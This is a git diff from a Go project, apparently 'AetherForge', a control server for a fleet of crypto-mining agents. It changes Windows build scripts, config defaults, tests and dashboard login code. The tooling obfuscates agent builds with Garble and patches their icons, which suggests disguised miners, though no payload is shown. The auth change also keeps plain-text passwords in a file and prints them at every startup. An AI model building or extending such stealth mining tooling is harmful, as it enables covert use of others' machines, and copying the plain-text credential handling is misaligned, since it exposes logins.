set "GO_MSI=%TEMP%\go-installer.msi"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
if errorlevel 1 (
echo ERROR: Failed to download Go. Get it from https://go.dev/dl/
goto fatal_exit
)
msiexec /i "%GO_MSI%" /quiet /norestart
if errorlevel 1 (
echo ERROR: Go install failed. Run this script as Administrator.
goto fatal_exit
)
del "%GO_MSI%" 2>nul
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;%PATH%"
echo Go installed.
:go_ready
:: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
where garble >nul 2>nul
if errorlevel 1 (
echo Installing garble via go install...
go install mvdan.cc/garble@latest
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
)
where go-winres >nul 2>nul
if errorlevel 1 (
echo Installing go-winres via go install...
go install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge.
)
:: ============================================================
:: STEP 2: Node.js
:: ============================================================
echo [2/5] Checking Node.js...
where node >nul 2>nul
if errorlevel 1 goto install_node
echo Node.js found:
call node --version
goto node_ready
:install_node
echo Node.js not found. Checking for existing installation...
if exist "C:\Program Files\nodejs\node.exe" (
echo Found Node.js at C:\Program Files\nodejs
set "PATH=C:\Program Files\nodejs;%PATH%"
goto node_ready
)
echo Downloading and installing Node.js...
set "NODE_VERSION=20.12.2"
set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi"
set "NODE_MSI=%TEMP%\node-installer.msi"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
if errorlevel 1 (
echo WARNING: Node.js download failed. Frontend build will be skipped.
set "SKIP_FRONTEND=1"
goto node_ready
)
msiexec /i "%NODE_MSI%" /quiet /norestart
if errorlevel 1 (
echo WARNING: Node.js install failed. Frontend build will be skipped.
set "SKIP_FRONTEND=1"
goto node_ready
)
set "PATH=C:\Program Files\nodejs;%PATH%"
del "%NODE_MSI%" 2>nul
echo Node.js installed.
:node_ready
:: ============================================================
:: STEP 3: Data directories
:: ============================================================
echo [3/5] Preparing data directories...
if not exist "data\builds" mkdir "data\builds"
if not exist "data\logs" mkdir "data\logs"
if not exist "data\blueprints" mkdir "data\blueprints"
if not exist "data\preps" mkdir "data\preps"
if not exist "bin" mkdir "bin"
echo OK: data\ and bin\
:: ============================================================
:: STEP 4: Frontend
:: ============================================================
if defined SKIP_FRONTEND goto skip_frontend
echo [4/5] Building dashboard (server\web)...
cd /d "%ROOT%\server\web"
if not exist "node_modules" (
echo npm install...
call npm install
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: npm install failed.
goto fatal_exit
)
)
echo npm run build...
call npm run build
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: Frontend build failed.
goto fatal_exit
)
cd /d "%ROOT%"
echo Frontend built: server\web\dist
goto frontend_done
:skip_frontend
echo [4/5] Skipping frontend build (Node.js unavailable)
if not exist "server\web\dist\index.html" (
echo WARNING: No server\web\dist\index.html — dashboard may not load.
)
:frontend_done
if exist "server\web\dist\index.html" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
echo Copied dashboard to server\webroot
)
:: ============================================================
:: STEP 5: Server binary
:: ============================================================
echo [5/5] Building control server...
cd /d "%ROOT%\server"
go mod download
if errorlevel 1 echo WARNING: go mod download had issues; continuing...
echo go build...
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: Server build failed.
goto fatal_exit
)
cd /d "%ROOT%"
if defined AETHERFORGE_RELEASE (
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
)
if not exist "bin\miner-server.exe" (
echo ERROR: bin\miner-server.exe was not created.
goto fatal_exit
)
echo Server binary: bin\miner-server.exe
:: ============================================================
:: LAUNCH (foreground — logs stay in this window)
:: ============================================================
echo.
echo Stopping any previous miner-server.exe...
taskkill /F /IM miner-server.exe >nul 2>nul
timeout /t 1 /nobreak >nul
set "LAN_IP=localhost"
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
echo.
echo ==============================================================
echo STARTING CONTROL SERVER
echo ==============================================================
echo Dashboard: http://localhost:8989
echo LAN: http://%LAN_IP%:8989
echo Agents WS: ws://%LAN_IP%:8989/ws/agent
echo Data: %ROOT%\data\
echo.
echo Live logs appear below. Ctrl+C stops the server.
echo ==============================================================
echo.
:: Open browser after a short delay (server starts in this window)
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
echo.
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
set "EXITCODE=!ERRORLEVEL!"
echo.
if "!EXITCODE!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EXITCODE!.
echo If port 8989 was in use, close other miner-server windows and run again.
)
echo.
goto end_pause
:fatal_exit
echo.
echo ==============================================================
echo LAUNCH FAILED — fix the errors above and run devrun.bat again.
echo ==============================================================
echo.
:end_pause
pause
endlocal

262
run.bat
View File

@@ -1,262 +1,4 @@
@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Server
:: Project-root marker + launcher (delegates to devrun.bat).
cd /d "%~dp0"
set "ROOT=%CD%"
if /i "%~1"=="release" (
set "AETHERFORGE_RELEASE=1"
echo Release mode: Garble obfuscation default ON for new forges.
)
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
if exist "server\internal\ollama\main.go" (
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
)
echo.
echo ==============================================================
echo AetherForge - Control Server Launcher
echo ==============================================================
echo This window stays open and shows live server logs.
echo Press Ctrl+C to stop the server.
echo ==============================================================
echo.
:: Common tool paths (Go/Node installs + user Go bin for garble)
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
:: ============================================================
:: STEP 1: Go
:: ============================================================
echo [1/5] Checking Go...
where go >nul 2>nul
if errorlevel 1 goto install_go
echo Go found:
call go version
goto go_ready
:install_go
echo Go not found. Checking for existing installation...
if exist "C:\Program Files\Go\bin\go.exe" (
echo Found Go at C:\Program Files\Go\bin
set "PATH=C:\Program Files\Go\bin;%PATH%"
goto go_ready
)
echo Downloading and installing Go...
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set "GO_ARCH=amd64"
) else (
set "GO_ARCH=386"
)
set "GO_VERSION=1.22.2"
set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi"
set "GO_MSI=%TEMP%\go-installer.msi"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
if errorlevel 1 (
echo ERROR: Failed to download Go. Get it from https://go.dev/dl/
goto fatal_exit
)
msiexec /i "%GO_MSI%" /quiet /norestart
if errorlevel 1 (
echo ERROR: Go install failed. Run this script as Administrator.
goto fatal_exit
)
del "%GO_MSI%" 2>nul
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;%PATH%"
echo Go installed.
:go_ready
:: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
where garble >nul 2>nul
if errorlevel 1 (
echo Installing garble via go install...
go install mvdan.cc/garble@latest
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
)
where go-winres >nul 2>nul
if errorlevel 1 (
echo Installing go-winres via go install...
go install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge.
)
:: ============================================================
:: STEP 2: Node.js
:: ============================================================
echo [2/5] Checking Node.js...
where node >nul 2>nul
if errorlevel 1 goto install_node
echo Node.js found:
call node --version
goto node_ready
:install_node
echo Node.js not found. Checking for existing installation...
if exist "C:\Program Files\nodejs\node.exe" (
echo Found Node.js at C:\Program Files\nodejs
set "PATH=C:\Program Files\nodejs;%PATH%"
goto node_ready
)
echo Downloading and installing Node.js...
set "NODE_VERSION=20.12.2"
set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi"
set "NODE_MSI=%TEMP%\node-installer.msi"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
if errorlevel 1 (
echo WARNING: Node.js download failed. Frontend build will be skipped.
set "SKIP_FRONTEND=1"
goto node_ready
)
msiexec /i "%NODE_MSI%" /quiet /norestart
if errorlevel 1 (
echo WARNING: Node.js install failed. Frontend build will be skipped.
set "SKIP_FRONTEND=1"
goto node_ready
)
set "PATH=C:\Program Files\nodejs;%PATH%"
del "%NODE_MSI%" 2>nul
echo Node.js installed.
:node_ready
:: ============================================================
:: STEP 3: Data directories
:: ============================================================
echo [3/5] Preparing data directories...
if not exist "data\builds" mkdir "data\builds"
if not exist "data\logs" mkdir "data\logs"
if not exist "data\blueprints" mkdir "data\blueprints"
if not exist "data\preps" mkdir "data\preps"
if not exist "bin" mkdir "bin"
echo OK: data\ and bin\
:: ============================================================
:: STEP 4: Frontend
:: ============================================================
if defined SKIP_FRONTEND goto skip_frontend
echo [4/5] Building dashboard (server\web)...
cd /d "%ROOT%\server\web"
if not exist "node_modules" (
echo npm install...
call npm install
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: npm install failed.
goto fatal_exit
)
)
echo npm run build...
call npm run build
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: Frontend build failed.
goto fatal_exit
)
cd /d "%ROOT%"
echo Frontend built: server\web\dist
goto frontend_done
:skip_frontend
echo [4/5] Skipping frontend build (Node.js unavailable)
if not exist "server\web\dist\index.html" (
echo WARNING: No server\web\dist\index.html — dashboard may not load.
)
:frontend_done
if exist "server\web\dist\index.html" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
echo Copied dashboard to server\webroot
)
:: ============================================================
:: STEP 5: Server binary
:: ============================================================
echo [5/5] Building control server...
cd /d "%ROOT%\server"
go mod download
if errorlevel 1 echo WARNING: go mod download had issues; continuing...
echo go build...
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: Server build failed.
goto fatal_exit
)
cd /d "%ROOT%"
if defined AETHERFORGE_RELEASE (
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
)
if not exist "bin\miner-server.exe" (
echo ERROR: bin\miner-server.exe was not created.
goto fatal_exit
)
echo Server binary: bin\miner-server.exe
:: ============================================================
:: LAUNCH (foreground — logs stay in this window)
:: ============================================================
echo.
echo Stopping any previous miner-server.exe...
taskkill /F /IM miner-server.exe >nul 2>nul
timeout /t 1 /nobreak >nul
set "LAN_IP=localhost"
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
echo.
echo ==============================================================
echo STARTING CONTROL SERVER
echo ==============================================================
echo Dashboard: http://localhost:8989
echo LAN: http://%LAN_IP%:8989
echo Agents WS: ws://%LAN_IP%:8989/ws/agent
echo Data: %ROOT%\data\
echo.
echo Live logs appear below. Ctrl+C stops the server.
echo ==============================================================
echo.
:: Open browser after a short delay (server starts in this window)
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
echo.
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
set "EXITCODE=!ERRORLEVEL!"
echo.
if "!EXITCODE!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EXITCODE!.
echo If port 8989 was in use, close other miner-server windows and run again.
)
echo.
goto end_pause
:fatal_exit
echo.
echo ==============================================================
echo LAUNCH FAILED — fix the errors above and run run.bat again.
echo ==============================================================
echo.
:end_pause
pause
endlocal
call "%~dp0devrun.bat" %*

View File

@@ -152,7 +152,7 @@ func DefaultConfig() *Config {
RejectionRateThresholdPct: 5,
},
Server: ServerSettings{
PublicURL: "",
PublicURL: "https://killa.thetempleofdoom.com",
StatsRetentionHours: 168,
BuildRetentionDays: 30,
PoolReconnectSeconds: 30,

View File

@@ -7,23 +7,16 @@ require (
github.com/go-chi/cors v1.2.1
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.1
golang.org/x/crypto v0.52.0
modernc.org/sqlite v1.29.5
)
require (
github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/tc-hib/go-winres v0.3.1 // indirect
github.com/tc-hib/winres v0.1.6 // indirect
github.com/urfave/cli/v2 v2.3.0 // indirect
golang.org/x/crypto v0.52.0 // indirect
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect
golang.org/x/net v0.54.0 // indirect
golang.org/x/sys v0.45.0 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect

View File

@@ -1,7 +1,3 @@
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
@@ -22,43 +18,21 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE=
github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k=
github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8=
github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A=
github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk=
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w=
golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=

View File

@@ -0,0 +1,39 @@
package api
import "testing"
func TestAgentConfigPoolHostOrDefault(t *testing.T) {
t.Run("empty uses fallback", func(t *testing.T) {
cfg := AgentForgeConfig{}
if got := cfg.poolHostOrDefault("fallback.host"); got != "fallback.host" {
t.Fatalf("got %q, want fallback.host", got)
}
})
t.Run("explicit host wins", func(t *testing.T) {
cfg := AgentForgeConfig{PoolHost: "pool.example.com"}
if got := cfg.poolHostOrDefault("fallback"); got != "pool.example.com" {
t.Fatalf("got %q, want pool.example.com", got)
}
})
}
func TestAgentConfigPoolPortOrDefault(t *testing.T) {
t.Run("zero uses fallback", func(t *testing.T) {
cfg := AgentForgeConfig{}
if got := cfg.poolPortOrDefault(3333); got != 3333 {
t.Fatalf("got %d, want 3333", got)
}
})
t.Run("negative uses fallback", func(t *testing.T) {
cfg := AgentForgeConfig{PoolPort: -1}
if got := cfg.poolPortOrDefault(3333); got != 3333 {
t.Fatalf("got %d, want 3333", got)
}
})
t.Run("explicit port wins", func(t *testing.T) {
cfg := AgentForgeConfig{PoolPort: 443}
if got := cfg.poolPortOrDefault(3333); got != 443 {
t.Fatalf("got %d, want 443", got)
}
})
}

View File

@@ -556,8 +556,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
fh, _, ws, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := *fh
bad.ws = nil
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
@@ -730,8 +729,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := *fh
bad.ws = nil
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))

View File

@@ -64,18 +64,19 @@ func authCacheSet(user, pass string) {
}
var (
// authUsers is populated from data/users.json on startup. On the very first
// run (no users.json) a random password is generated, saved, and printed to
// the console — no hard-coded credentials anywhere in the binary.
authUsers = map[string]string{}
usersFilePath string
usersMu sync.RWMutex
// authUsers is populated from data/users.json on startup. Plain-text copies
// for console display live in data/login-credentials.json (0600).
authUsers = map[string]string{}
usersFilePath string
usersMu sync.RWMutex
authLoadMu sync.Mutex
authLoadedDataDir string
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
fleetSecretForAgentPaths string
fleetSecretForAgentPathsMu sync.RWMutex
fleetSecretForAgentPaths string
fleetSecretForAgentPathsMu sync.RWMutex
// rotateSecretFn is called when POST /server/rotate-secret is hit.
// Wired from main.go so the server can generate, persist, and propagate the new secret.
@@ -120,8 +121,94 @@ func checkPassword(stored, provided string) bool {
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
}
func loadUsers(dataDir string) {
func loginSidecarPath(dataDir string) string {
return filepath.Join(dataDir, "login-credentials.json")
}
func readLoginSidecar(path string) (map[string]string, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var creds map[string]string
if err := json.Unmarshal(data, &creds); err != nil {
return nil, err
}
if len(creds) == 0 {
return nil, fmt.Errorf("empty login sidecar")
}
return creds, nil
}
func writeLoginSidecar(path string, creds map[string]string) error {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return err
}
data, err := json.MarshalIndent(creds, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
func upsertLoginSidecar(dataDir, username, password string) error {
path := loginSidecarPath(dataDir)
creds, _ := readLoginSidecar(path)
if creds == nil {
creds = map[string]string{}
}
creds[username] = password
return writeLoginSidecar(path, creds)
}
func printStartupCredentials(dataDir string) {
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
if err != nil || len(creds) == 0 {
return
}
fmt.Println(formatLoginBanner(creds))
}
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString("║ AetherForge — Dashboard Login ║\n")
b.WriteString("║ ║\n")
for user, pass := range creds {
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
b.WriteString("║ ║\n")
}
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String()
}
// LoadUsers loads dashboard accounts and prints login credentials to the console.
// Call once during startup (before heavy init) so operators always see passwords.
func LoadUsers(dataDir string) {
ensureUsersLoaded(dataDir)
printStartupCredentials(dataDir)
}
func ensureUsersLoaded(dataDir string) {
abs, err := filepath.Abs(dataDir)
if err != nil {
abs = dataDir
}
authLoadMu.Lock()
defer authLoadMu.Unlock()
if authLoadedDataDir == abs {
return
}
bootstrapUsers(dataDir)
authLoadedDataDir = abs
}
func bootstrapUsers(dataDir string) {
usersFilePath = filepath.Join(dataDir, "users.json")
sidecarPath := loginSidecarPath(dataDir)
usersMu.Lock()
defer usersMu.Unlock()
@@ -129,7 +216,6 @@ func loadUsers(dataDir string) {
if err == nil {
var loaded map[string]string
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
// Migration: re-hash any plain-text entries left from an older version.
migrated := false
for u, v := range loaded {
if !isBcryptHash(v) {
@@ -145,16 +231,15 @@ func loadUsers(dataDir string) {
d, _ := json.MarshalIndent(authUsers, "", " ")
_ = os.WriteFile(usersFilePath, d, 0600)
}
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
return
}
}
// First run — no users.json (or empty). Generate a random admin password,
// hash it, save it, and print the plain-text once to the console.
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
if herr != nil {
hashed = pw // extremely unlikely; degrade gracefully
hashed = pw
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
}
authUsers = map[string]string{"admin": hashed}
@@ -163,20 +248,35 @@ func loadUsers(dataDir string) {
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
}
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
}
}
banner := fmt.Sprintf(`
╔══════════════════════════════════════════════════╗
║ AetherForge — First Run ║
║ ║
║ Dashboard login ║
║ Username : admin ║
║ Password : %-34s║
║ ║
║ Save this — it will not be shown again. ║
║ Change it later in Calibrate → Users. ║
╚══════════════════════════════════════════════════╝`, pw)
log.Print(banner)
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
if _, err := readLoginSidecar(sidecarPath); err == nil {
return
}
if _, ok := users["admin"]; !ok {
return
}
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
if herr != nil {
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
return
}
users["admin"] = hashed
authUsers = users
d, _ := json.MarshalIndent(authUsers, "", " ")
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
return
}
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
return
}
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
}
// generateRandomPassword returns a 20-character hex string suitable for use
@@ -195,16 +295,25 @@ func saveUser(username, password string) error {
return fmt.Errorf("bcrypt: %w", err)
}
usersMu.Lock()
defer usersMu.Unlock()
authUsers[username] = hashed
if usersFilePath == "" {
usersFilePath = filepath.Join("data", "users.json")
}
